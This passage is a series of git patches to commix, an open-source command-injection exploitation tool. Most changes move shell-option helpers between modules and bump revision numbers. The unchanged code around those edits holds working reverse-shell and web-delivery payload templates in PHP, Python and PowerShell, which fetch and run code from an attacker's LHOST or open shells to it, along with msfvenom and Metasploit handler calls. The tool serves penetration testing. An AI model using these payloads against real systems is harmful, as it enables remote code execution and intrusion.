for available shell options elif any(option in bind_tcp_option.lower() for option in settings.SHELL_OPTIONS): - if shell_options(bind_tcp_option): - return shell_options(bind_tcp_option) + if checks.shell_options(bind_tcp_option): + return checks.shell_options(bind_tcp_option) # Invalid option else: - common.invalid_option(bind_tcp_option) + checks.invalid_option(bind_tcp_option) continue - return bind_tcp_option """ @@ -507,7 +365,7 @@ def configure_bind_tcp(separator): break elif option[0:4].lower() == "set ": if option[4:10].lower() == "rhost ": - if check_rhost(option[10:]): + if checks.check_rhost(option[10:]): if len(settings.LPORT) == 0: pass else: @@ -520,7 +378,7 @@ def configure_bind_tcp(separator): settings.print_data_to_stdout(settings.print_error_msg(err_msg)) continue elif option[4:10].lower() == "lport ": - if check_lport(option[10:]): + if checks.check_lport(option[10:]): if len(settings.RHOST) == 0: pass else: @@ -528,10 +386,10 @@ def configure_bind_tcp(separator): else: continue else: - common.invalid_option(option) + checks.invalid_option(option) pass else: - common.invalid_option(option) + checks.invalid_option(option) pass # eof \ No newline at end of file diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index a373eb1d75..0dce4bd1bf 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -26,163 +26,11 @@ from src.utils import update from src.utils import settings from src.core.compat import xrange +from src.core.injections.controller import checks from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.colorama import Fore, Back, Style, init -""" -Check for available shell options. -""" -def shell_options(option): - if option.lower() == "reverse_tcp": - warn_msg = "You are into the '" + option.lower() + "' mode." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - elif option.lower() == "?": - menu.reverse_tcp_options() - elif option.lower() == "quit" or option.lower() == "exit": - raise SystemExit() - elif option[0:4].lower() == "set ": - if option[4:10].lower() == "lhost ": - check_lhost(option[10:]) - if option[4:10].lower() == "rhost ": - err_msg = "The '" + option[4:9].upper() + "' option, is not " - err_msg += "usable for 'reverse_tcp' mode. Use 'LHOST' option." - settings.print_data_to_stdout(settings.print_error_msg(err_msg)) - if option[4:10].lower() == "lport ": - check_lport(option[10:]) - if option[4:12].lower() == "srvport ": - check_srvport(option[12:]) - if option[4:12].lower() == "uripath ": - check_uripath(option[12:]) - else: - return option - -# Payload generation message. -def gen_payload_msg(payload): - info_msg = "Generating the '" + payload + "' shellcode. " - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - - -""" -Error msg if the attack vector is available only for Windows targets. -""" -def windows_only_attack_vector(): - error_msg = "This attack vector is available only for Windows targets." - settings.print_data_to_stdout(settings.print_error_msg(error_msg)) - -""" -Message regarding the MSF handler. -""" -def msf_launch_msg(output): - info_msg = "Type \"msfconsole -r " + os.path.abspath(output) + "\" (in a new window)." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - info_msg = "Once the loading is done, press here any key to continue..." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - sys.stdin.readline().replace("\n", "") - # Remove the ouput file. - os.remove(output) - -""" -Set up the PHP working directory on the target host. -""" -def set_php_working_dir(): - while True: - message = "Do you want to use '" + settings.WIN_PHP_DIR - message += "' as PHP working directory on the target host? [Y/n] > " - php_dir = common.read_input(message, default="Y", check_batch=True) - if php_dir in settings.CHOICE_YES: - break - elif php_dir in settings.CHOICE_NO: - message = "Please provide a custom working directory for PHP (e.g. '" + settings.WIN_PHP_DIR + "') > " - settings.WIN_PHP_DIR = common.read_input(message, default=settings.WIN_PHP_DIR, check_batch=True) - settings.USER_DEFINED_PHP_DIR = True - break - else: - common.invalid_option(php_dir) - pass - -""" -Set up the Python working directory on the target host. -""" -def set_python_working_dir(): - while True: - message = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER - message += "' as Python interpreter on the target host? [Y/n] > " - python_dir = common.read_input(message, default="Y", check_batch=True) - if python_dir in settings.CHOICE_YES: - break - elif python_dir in settings.CHOICE_NO: - message = "Please provide a full path directory for Python interpreter (e.g. '" + settings.WIN_CUSTOM_PYTHON_INTERPRETER + "') > " - settings.WIN_PYTHON_INTERPRETER = common.read_input(message, default=settings.WIN_CUSTOM_PYTHON_INTERPRETER, check_batch=True) - settings.USER_DEFINED_PYTHON_DIR = True - break - else: - common.invalid_option(python_dir) - pass - -""" -Set up the Python interpreter on linux target host. -""" -def set_python_interpreter(): - while True: - message = "Do you want to use '" + settings.LINUX_PYTHON_INTERPRETER - message += "' as Python interpreter on the target host? [Y/n] > " - python_interpreter = common.read_input(message, default="Y", check_batch=True) - if python_interpreter in settings.CHOICE_YES: - break - elif python_interpreter in settings.CHOICE_NO: - message = "Please provide a custom working interpreter for Python (e.g. '" + settings.LINUX_CUSTOM_PYTHON_INTERPRETER + "') > " - settings.LINUX_PYTHON_INTERPRETER = common.read_input(message, default=settings.LINUX_CUSTOM_PYTHON_INTERPRETER, check_batch=True) - settings.USER_DEFINED_PYTHON_INTERPRETER = True - break - else: - common.invalid_option(python_interpreter) - pass - -""" -check / set lhost option for reverse TCP connection -""" -def check_lhost(lhost): - settings.LHOST = lhost - settings.print_data_to_stdout("LHOST => " + settings.LHOST) - return True - -""" -check / set lport option for reverse TCP connection -""" -def check_lport(lport): - try: - if float(lport): - settings.LPORT = lport - settings.print_data_to_stdout("LPORT => " + settings.LPORT) - return True - except ValueError: - err_msg = "The provided port must be numeric (i.e. 1234)" - settings.print_data_to_stdout(settings.print_error_msg(err_msg)) - return False - -""" -check / set srvport option for reverse TCP connection -""" -def check_srvport(srvport): - try: - if float(srvport): - settings.SRVPORT = srvport - settings.print_data_to_stdout("SRVPORT => " + settings.SRVPORT) - return True - except ValueError: - err_msg = "The provided port must be numeric (i.e. 1234)" - settings.print_data_to_stdout(settings.print_error_msg(err_msg)) - return False - -""" -check / set uripath option for reverse TCP connection -""" -def check_uripath(uripath): - settings.URIPATH = uripath - settings.print_data_to_stdout("URIPATH => " + settings.URIPATH) - return True - """ Set up the netcat reverse TCP connection """ @@ -199,14 +47,13 @@ def netcat_version(separator): "nc.openbsd" ] - while True: - nc_version = _input("""""" + Style.BRIGHT + """Available netcat reverse TCP shell options:""" + Style.RESET_ALL + """ + settings.print_data_to_stdout(Style.BRIGHT + """Available netcat reverse TCP shell options:""" + Style.RESET_ALL + """ """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use the default Netcat on target host. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use Netcat for Busybox on target host. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use Netcat-Traditional on target host. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use Netcat-Openbsd on target host. -commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp_netcat""" + Style.RESET_ALL + """) > """) - +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use Netcat-Openbsd on target host.""") + while True: + nc_version = _input("""commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp_netcat""" + Style.RESET_ALL + """) > """) # Default Netcat if nc_version == '1': nc_alternative = NETCAT_ALTERNATIVES[0] @@ -225,27 +72,14 @@ def netcat_version(separator): break # Check for available shell options elif any(option in nc_version.lower() for option in settings.SHELL_OPTIONS): - if shell_options(nc_version): - return shell_options(nc_version) + if checks.shell_options(nc_version): + return checks.shell_options(nc_version) # Invalid option else: - common.invalid_option(nc_version) + checks.invalid_option(nc_version) continue - while True: - message = "Do you want to use '/bin' standard subdirectory? [y/N] > " - enable_bin_dir = common.read_input(message, default="N", check_batch=True) - if enable_bin_dir in settings.CHOICE_NO: - break - elif enable_bin_dir in settings.CHOICE_YES : - nc_alternative = "/bin/" + nc_alternative - shell = "/bin/" + shell - break - elif enable_bin_dir in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(enable_bin_dir) - pass + nc_alternative, shell = checks.use_bin_subdir(nc_alternative, shell) if nc_version != '4': # Netcat with -e @@ -263,9 +97,7 @@ def netcat_version(separator): [1] http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet """ def other_reverse_shells(separator): - - while True: - other_shell = _input("""""" + Style.BRIGHT + """Available generic reverse TCP shell options:""" + Style.RESET_ALL + """ + settings.print_data_to_stdout(Style.BRIGHT + """Available generic reverse TCP shell options:""" + Style.RESET_ALL + """ """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use a PHP reverse TCP shell. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use a Perl reverse TCP shell. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use a Ruby reverse TCP shell. @@ -278,9 +110,9 @@ def other_reverse_shells(separator): """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """9""" + Style.RESET_ALL + """' to use a PHP meterpreter reverse TCP shell. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """10""" + Style.RESET_ALL + """' to use a Python meterpreter reverse TCP shell. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """11""" + Style.RESET_ALL + """' to use a meterpreter reverse TCP shell (windows). -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """12""" + Style.RESET_ALL + """' to use the web delivery script. -commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp_other""" + Style.RESET_ALL + """) > """) - +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """12""" + Style.RESET_ALL + """' to use the web delivery script.""") + while True: + other_shell = _input("""commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp_other""" + Style.RESET_ALL + """) > """) # PHP-reverse-shell if other_shell == '1': other_shell = "php -r '$sock=fsockopen(\"" + settings.LHOST + "\"," + settings.LPORT + ");" \ @@ -313,7 +145,7 @@ def other_reverse_shells(separator): # Python-reverse-shell elif other_shell == '4': if not settings.USER_DEFINED_PYTHON_INTERPRETER: - set_python_interpreter() + checks.set_python_interpreter() other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c 'import socket,subprocess,os%0d" \ "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)%0d" \ "s.connect((\"" + settings.LHOST + "\"," + settings.LPORT + "))%0d" \ @@ -366,11 +198,11 @@ def other_reverse_shells(separator): "globals(), __import__('contextlib'))" if not settings.TARGET_OS == settings.OS.WINDOWS: - windows_only_attack_vector() + checks.windows_only_attack_vector() continue else: if not settings.USER_DEFINED_PYTHON_DIR: - set_python_working_dir() + checks.set_python_working_dir() other_shell = settings.WIN_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" break @@ -408,11 +240,11 @@ def other_reverse_shells(separator): "exploit\n\n") if settings.TARGET_OS == settings.OS.WINDOWS and not settings.USER_DEFINED_PHP_DIR: - set_php_working_dir() + checks.set_php_working_dir() other_shell = settings.WIN_PHP_DIR + " -r " + data else: other_shell = "php -r \"" + data + "\"" - msf_launch_msg(output) + checks.msf_launch_msg(output) except: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) break @@ -453,13 +285,13 @@ def other_reverse_shells(separator): if settings.TARGET_OS == settings.OS.WINDOWS: if not settings.USER_DEFINED_PYTHON_DIR: - set_python_working_dir() + checks.set_python_working_dir() other_shell = settings.WIN_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" else: if not settings.USER_DEFINED_PYTHON_INTERPRETER: - set_python_interpreter() + checks.set_python_interpreter() other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" - msf_launch_msg(output) + checks.msf_launch_msg(output) except: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) break @@ -467,24 +299,23 @@ def other_reverse_shells(separator): # Powershell injection attacks elif other_shell == '11': if not settings.TARGET_OS == settings.OS.WINDOWS: - windows_only_attack_vector() + checks.windows_only_attack_vector() continue else: - while True: - windows_reverse_shell = _input("""""" + Style.BRIGHT + """Available powershell injection options:""" + Style.RESET_ALL + """ + settings.print_data_to_stdout(Style.BRIGHT + """Available powershell injection options:""" + Style.RESET_ALL + """ """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use shellcode injection with native x86 shellcode. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use TrustedSec's Magic Unicorn. -commix(""" + Style.BRIGHT + Fore.RED + """windows_meterpreter_reverse_tcp""" + Style.RESET_ALL + """) > """) - +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use TrustedSec's Magic Unicorn.""") + while True: + windows_reverse_shell = _input("""commix(""" + Style.BRIGHT + Fore.RED + """windows_meterpreter_reverse_tcp""" + Style.RESET_ALL + """) > """) if any(option in windows_reverse_shell.lower() for option in settings.SHELL_OPTIONS): - if shell_options(windows_reverse_shell): - return shell_options(windows_reverse_shell) + if checks.shell_options(windows_reverse_shell): + return checks.shell_options(windows_reverse_shell) elif windows_reverse_shell == '1' : output = "powershell_attack.rc" elif windows_reverse_shell == '2' : output = "powershell_attack.txt" else: - common.invalid_option(windows_reverse_shell) + checks.invalid_option(windows_reverse_shell) continue if not os.path.exists(settings.METASPLOIT_PATH): @@ -496,7 +327,7 @@ def other_reverse_shells(separator): # Shellcode injection with native x86 shellcode if windows_reverse_shell == '1': - gen_payload_msg(payload) + checks.gen_payload_msg(payload) try: proc = subprocess.Popen("msfvenom -p " + str(payload) + " LHOST=" + str(settings.LHOST) + " LPORT=" + str(settings.LPORT) + " -f c -o " + output + ">/dev/null 2>&1", shell=True).wait() with open(output, 'r') as content_file: @@ -513,7 +344,7 @@ def other_reverse_shells(separator): "set lhost " + str(settings.LHOST) + "\n" "set lport " + str(settings.LPORT) + "\n" "exploit\n\n") - msf_launch_msg(output) + checks.msf_launch_msg(output) except: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) break @@ -539,7 +370,7 @@ def other_reverse_shells(separator): if len(unicorn_version) == 0: unicorn_path = os.path.abspath(os.path.join(os.path.dirname(__file__), '../../', 'thirdparty/unicorn')) os.chdir(unicorn_path) - gen_payload_msg(payload) + checks.gen_payload_msg(payload) subprocess.Popen("python unicorn.py" + settings.SINGLE_WHITESPACE + str(payload) + settings.SINGLE_WHITESPACE + str(settings.LHOST) + settings.SINGLE_WHITESPACE + str(settings.LPORT) + ">/dev/null 2>&1", shell=True).wait() with open(output, 'r') as content_file: other_shell = content_file.read().replace('\n', '') @@ -553,7 +384,7 @@ def other_reverse_shells(separator): "set lhost " + str(settings.LHOST) + "\n" "set lport " + str(settings.LPORT) + "\n" "exploit\n\n") - msf_launch_msg("unicorn.rc") + checks.msf_launch_msg("unicorn.rc") # Return to the current path. os.chdir(current_path) except: @@ -565,16 +396,15 @@ def other_reverse_shells(separator): # Web delivery script elif other_shell == '12': - while True: - web_delivery = _input("""""" + Style.BRIGHT + """Available web delivery script options:""" + Style.RESET_ALL + """ + settings.print_data_to_stdout(Style.BRIGHT + """Available web delivery script options:""" + Style.RESET_ALL + """ """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use Python meterpreter reverse TCP shell. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use PHP meterpreter reverse TCP shell. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use meterpreter reverse TCP shell (windows). -commix(""" + Style.BRIGHT + Fore.RED + """web_delivery""" + Style.RESET_ALL + """) > """) - +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use meterpreter reverse TCP shell (windows).""") + while True: + web_delivery = _input("""commix(""" + Style.BRIGHT + Fore.RED + """web_delivery""" + Style.RESET_ALL + """) > """) if any(option in web_delivery.lower() for option in settings.SHELL_OPTIONS): - if shell_options(web_delivery): - return shell_options(web_delivery) + if checks.shell_options(web_delivery): + return checks.shell_options(web_delivery) elif web_delivery == '1': payload = "python/meterpreter/reverse_tcp" elif web_delivery == '2': @@ -582,7 +412,7 @@ def other_reverse_shells(separator): elif web_delivery == '3': payload = "windows/meterpreter/reverse_tcp" else: - common.invalid_option(web_delivery) + checks.invalid_option(web_delivery) continue if not os.path.exists(settings.METASPLOIT_PATH): @@ -606,38 +436,38 @@ def other_reverse_shells(separator): data = "import sys%3bimport ssl%3bu%3d__import__('urllib'%2b{2%3a'',3%3a'.request'}[sys.version_info[0]],fromlist%3d('urlopen',))%3br%3du.urlopen('http://" + str(settings.LHOST) + ":" + str(settings.SRVPORT) + settings.URIPATH + "',context%3dssl._create_unverified_context())%3bexec(r.read())%3b" if settings.TARGET_OS == settings.OS.WINDOWS: if not settings.USER_DEFINED_PYTHON_DIR: - set_python_working_dir() + checks.set_python_working_dir() other_shell = settings.WIN_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" else: if not settings.USER_DEFINED_PYTHON_INTERPRETER: - set_python_interpreter() + checks.set_python_interpreter() other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" - msf_launch_msg(output) + checks.msf_launch_msg(output) break elif web_delivery == '2': if settings.TARGET_OS == settings.OS.WINDOWS and not settings.USER_DEFINED_PHP_DIR: - set_php_working_dir() + checks.set_php_working_dir() other_shell = settings.WIN_PHP_DIR + " -d allow_url_fopen=true -r eval(file_get_contents('http://" + str(settings.LHOST) + ":" + str(settings.SRVPORT) + settings.URIPATH + "'));" else: other_shell = "php -d allow_url_fopen=true -r \"eval(file_get_contents('http://" + str(settings.LHOST) + ":" + str(settings.SRVPORT) + settings.URIPATH + "'));\"" - msf_launch_msg(output) + checks.msf_launch_msg(output) break elif web_delivery == '3': if not settings.TARGET_OS == settings.OS.WINDOWS: - windows_only_attack_vector() + checks.windows_only_attack_vector() continue else: other_shell = "powershell -nop -w hidden -c $x=new-object net.webclient;$x.proxy=[Net.WebRequest]::GetSystemWebProxy(); $x.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials; IEX $x.downloadstring('http://" + str(settings.LHOST) + ":" + str(settings.SRVPORT) + settings.URIPATH + "');" - msf_launch_msg(output) + checks.msf_launch_msg(output) break break # Check for available shell options elif any(option in other_shell.lower() for option in settings.SHELL_OPTIONS): - if shell_options(other_shell): - return shell_options(other_shell) + if checks.shell_options(other_shell): + return checks.shell_options(other_shell) # Invalid option else: - common.invalid_option(other_shell) + checks.invalid_option(other_shell) continue return other_shell @@ -647,12 +477,11 @@ def other_reverse_shells(separator): """ def reverse_tcp_options(separator): - while True: - reverse_tcp_option = _input("""""" + Style.BRIGHT + """Available reverse TCP shell options:""" + Style.RESET_ALL + """ + settings.print_data_to_stdout(Style.BRIGHT + """Available reverse TCP shell options:""" + Style.RESET_ALL + """ """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' for netcat reverse TCP shells. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' for other reverse TCP shells. -commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp""" + Style.RESET_ALL + """) > """) - +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' for other reverse TCP shells.""") + while True: + reverse_tcp_option = _input("""commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp""" + Style.RESET_ALL + """) > """) if reverse_tcp_option.lower() == "reverse_tcp": warn_msg = "You are into the '" + reverse_tcp_option.lower() + "' mode." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) @@ -662,7 +491,7 @@ def reverse_tcp_options(separator): elif reverse_tcp_option == '1' : reverse_tcp_option = netcat_version(separator) if reverse_tcp_option.lower() not in settings.SHELL_OPTIONS: - common.shell_success("reverse") + checks.shell_success("reverse") break elif reverse_tcp_option.lower() in settings.SHELL_OPTIONS: return reverse_tcp_option @@ -672,15 +501,15 @@ def reverse_tcp_options(separator): elif reverse_tcp_option == '2' : reverse_tcp_option = other_reverse_shells(separator) if reverse_tcp_option.lower() not in settings.SHELL_OPTIONS: - common.shell_success("reverse") + checks.shell_success("reverse") break # Check for available shell options elif any(option in reverse_tcp_option.lower() for option in settings.SHELL_OPTIONS): - if shell_options(reverse_tcp_option): - return shell_options(reverse_tcp_option) + if checks.shell_options(reverse_tcp_option): + return checks.shell_options(reverse_tcp_option) # Invalid option else: - common.invalid_option(reverse_tcp_option) + checks.invalid_option(reverse_tcp_option) continue return reverse_tcp_option @@ -713,7 +542,7 @@ def configure_reverse_tcp(separator): break elif option[0:4].lower() == "set ": if option[4:10].lower() == "lhost ": - if check_lhost(option[10:]): + if checks.check_lhost(option[10:]): if len(settings.LPORT) == 0: pass else: @@ -726,7 +555,7 @@ def configure_reverse_tcp(separator): settings.print_data_to_stdout(settings.print_error_msg(err_msg)) continue elif option[4:10].lower() == "lport ": - if check_lport(option[10:]): + if checks.check_lport(option[10:]): if len(settings.LHOST) == 0: pass else: @@ -734,14 +563,14 @@ def configure_reverse_tcp(separator): else: continue elif option[4:12].lower() == "srvport ": - check_srvport(option[12:]) + checks.check_srvport(option[12:]) elif option[4:12].lower() == "uripath ": - check_uripath(option[12:]) + checks.check_uripath(option[12:]) else: - common.invalid_option(option) + checks.invalid_option(option) pass else: - common.invalid_option(option) + checks.invalid_option(option) pass # eof \ No newline at end of file diff --git a/src/utils/common.py b/src/utils/common.py index 4b07d3f391..6210a51a55 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -27,20 +27,6 @@ from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import urllib as _urllib -""" -Invalid option msg -""" -def invalid_option(option): - err_msg = "'" + option + "' is not a valid answer." - settings.print_data_to_stdout(settings.print_error_msg(err_msg)) - -""" -Success msg. -""" -def shell_success(option): - info_msg = "Everything is in place. Cross your fingers and check for " + option + " shell on port " + settings.LPORT + "." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - """ Invalid cmd output """ @@ -48,26 +34,29 @@ def invalid_cmd_output(cmd): err_msg = "The execution of '" + cmd + "' command, does not return any output." return err_msg +""" +Invalid option msg +""" +def invalid_option(option): + err_msg = "'" + option + "' is not a valid answer." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + """ Reads input from terminal """ def read_input(message, default=None, check_batch=True): - def is_empty(): value = _input(settings.print_message(message)) if len(value) == 0: return default else: return value - try: value = None if "\n" in message: message += ("\n" if message.count("\n") > 1 else "") - elif len(message) == 0: return is_empty() - if settings.ANSWERS: if not any(_ in settings.ANSWERS for _ in ",="): return is_empty() @@ -81,14 +70,12 @@ def is_empty(): return value elif answer is None and value: return is_empty() - if value: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Used the given answer." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) settings.print_data_to_stdout(settings.print_message(message + str(value))) return value - elif value is None: if check_batch and menu.options.batch: settings.print_data_to_stdout(settings.print_message(message + str(default))) diff --git a/src/utils/settings.py b/src/utils/settings.py index ca013c8de1..11e3f04d2d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "93" +REVISION = "94" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 94842b2c78c66ccf8460c4a6414ab29f9151958c Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 9 Sep 2024 17:36:11 +0300 Subject: [PATCH 494/560] Fixes --- src/core/shells/bind_tcp.py | 10 +++++----- src/core/shells/reverse_tcp.py | 14 +++++++------- src/utils/settings.py | 2 +- 3 files changed, 13 insertions(+), 13 deletions(-) diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index 4441072970..bd1c622c4a 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -71,7 +71,7 @@ def netcat_version(separator): return checks.shell_options(nc_version) # Invalid command else: - checks.invalid_option(nc_version) + common.invalid_option(nc_version) continue nc_alternative, shell = checks.use_bin_subdir(nc_alternative, shell) @@ -291,7 +291,7 @@ def other_bind_shells(separator): return checks.shell_options(other_shell) # Invalid option else: - checks.invalid_option(other_shell) + common.invalid_option(other_shell) continue return other_shell @@ -332,7 +332,7 @@ def bind_tcp_options(separator): return checks.shell_options(bind_tcp_option) # Invalid option else: - checks.invalid_option(bind_tcp_option) + common.invalid_option(bind_tcp_option) continue return bind_tcp_option @@ -386,10 +386,10 @@ def configure_bind_tcp(separator): else: continue else: - checks.invalid_option(option) + common.invalid_option(option) pass else: - checks.invalid_option(option) + common.invalid_option(option) pass # eof \ No newline at end of file diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index 0dce4bd1bf..e901ee2a6f 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -76,7 +76,7 @@ def netcat_version(separator): return checks.shell_options(nc_version) # Invalid option else: - checks.invalid_option(nc_version) + common.invalid_option(nc_version) continue nc_alternative, shell = checks.use_bin_subdir(nc_alternative, shell) @@ -315,7 +315,7 @@ def other_reverse_shells(separator): elif windows_reverse_shell == '2' : output = "powershell_attack.txt" else: - checks.invalid_option(windows_reverse_shell) + common.invalid_option(windows_reverse_shell) continue if not os.path.exists(settings.METASPLOIT_PATH): @@ -412,7 +412,7 @@ def other_reverse_shells(separator): elif web_delivery == '3': payload = "windows/meterpreter/reverse_tcp" else: - checks.invalid_option(web_delivery) + common.invalid_option(web_delivery) continue if not os.path.exists(settings.METASPLOIT_PATH): @@ -467,7 +467,7 @@ def other_reverse_shells(separator): return checks.shell_options(other_shell) # Invalid option else: - checks.invalid_option(other_shell) + common.invalid_option(other_shell) continue return other_shell @@ -509,7 +509,7 @@ def reverse_tcp_options(separator): return checks.shell_options(reverse_tcp_option) # Invalid option else: - checks.invalid_option(reverse_tcp_option) + common.invalid_option(reverse_tcp_option) continue return reverse_tcp_option @@ -567,10 +567,10 @@ def configure_reverse_tcp(separator): elif option[4:12].lower() == "uripath ": checks.check_uripath(option[12:]) else: - checks.invalid_option(option) + common.invalid_option(option) pass else: - checks.invalid_option(option) + common.invalid_option(option) pass # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index 11e3f04d2d..bbf8bc1eb0 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "94" +REVISION = "95" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 82957ef245149391adc97a37502eef33316fa907 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 17 Sep 2024 18:08:26 +0300 Subject: [PATCH 495/560] Minor update --- src/core/injections/controller/checks.py | 8 ++++++-- src/core/main.py | 2 ++ src/utils/settings.py | 2 +- 3 files changed, 9 insertions(+), 3 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index c28f089abb..59cf81bfde 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -903,7 +903,7 @@ def continue_tests(err): # Ignoring (problematic) HTTP error codes. if len(settings.IGNORE_CODE) != 0 and any(str(x) in str(err).lower() for x in settings.IGNORE_CODE): return True - + # Possible WAF/IPS try: if (str(err.code) == settings.FORBIDDEN_ERROR or \ @@ -914,8 +914,12 @@ def continue_tests(err): settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) settings.WAF_ENABLED = True + message = "" + if str(err.code) == settings.NOT_FOUND_ERROR: + message = "It is not recommended to continue in this kind of cases. " + while True: - message = "Do you want to ignore the response HTTP error code '" + str(err.code) + message += "Do you want to ignore the response HTTP error code '" + str(err.code) message += "' and continue the tests? [Y/n] > " continue_tests = common.read_input(message, default="Y", check_batch=True) if continue_tests in settings.CHOICE_YES: diff --git a/src/core/main.py b/src/core/main.py index b6039f29e9..2529345212 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -998,6 +998,8 @@ def main(filename, url, http_request_method): message = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > " next_url = common.read_input(message, default="Y", check_batch=True) if next_url in settings.CHOICE_YES: + info_msg = "Testing URL '" + url + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) break elif next_url in settings.CHOICE_NO: perform_check = False diff --git a/src/utils/settings.py b/src/utils/settings.py index bbf8bc1eb0..104c069396 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "95" +REVISION = "96" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From d847f1535f7a0bf1d1b1ac45219d85b6195fea74 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 26 Sep 2024 07:20:40 +0300 Subject: [PATCH 496/560] Fixes 